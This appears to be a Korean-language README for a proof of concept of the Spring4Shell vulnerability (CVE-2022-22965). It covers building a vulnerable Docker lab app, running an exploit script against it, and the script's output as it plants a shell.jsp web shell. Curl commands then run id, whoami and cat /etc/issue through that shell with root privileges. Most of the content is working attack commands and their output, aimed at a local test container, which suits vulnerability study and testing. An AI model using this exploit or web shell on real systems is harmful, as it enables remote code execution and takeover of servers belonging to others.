
CVE-2022-22965 (Spring4Shell) 개념 증명

BuildKit 기반 빌드가 필요하므로 BuildKit을 활성화해야 합니다.
가장 쉬운 방법은 docker build 명령을 호출할 때 DOCKER_BUILDKIT=1 환경 변수를 설정하는 것입니다. 예를 들어 다음과 같습니다:
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
또는 docker BuildKit을 기본적으로 활성화하려면 /etc/docker/daemon.json 의 데몬 구성에서 기능을 true로 설정하고 데몬을 다시 시작하십시오:
{ "features": { "buildkit": true } }
이렇게 하면 간단히 실행할 수 있습니다:
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Spring4Shell PoC Spring Application</title>
</head>
<body>
Hello World! Exploit me!
</body>
</html>
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
모든 것이 제대로 진행되었다면 Tomcat HTTP 포트를 통해 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예를 들어 다음과 같습니다:
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)
//
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root
//
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l
//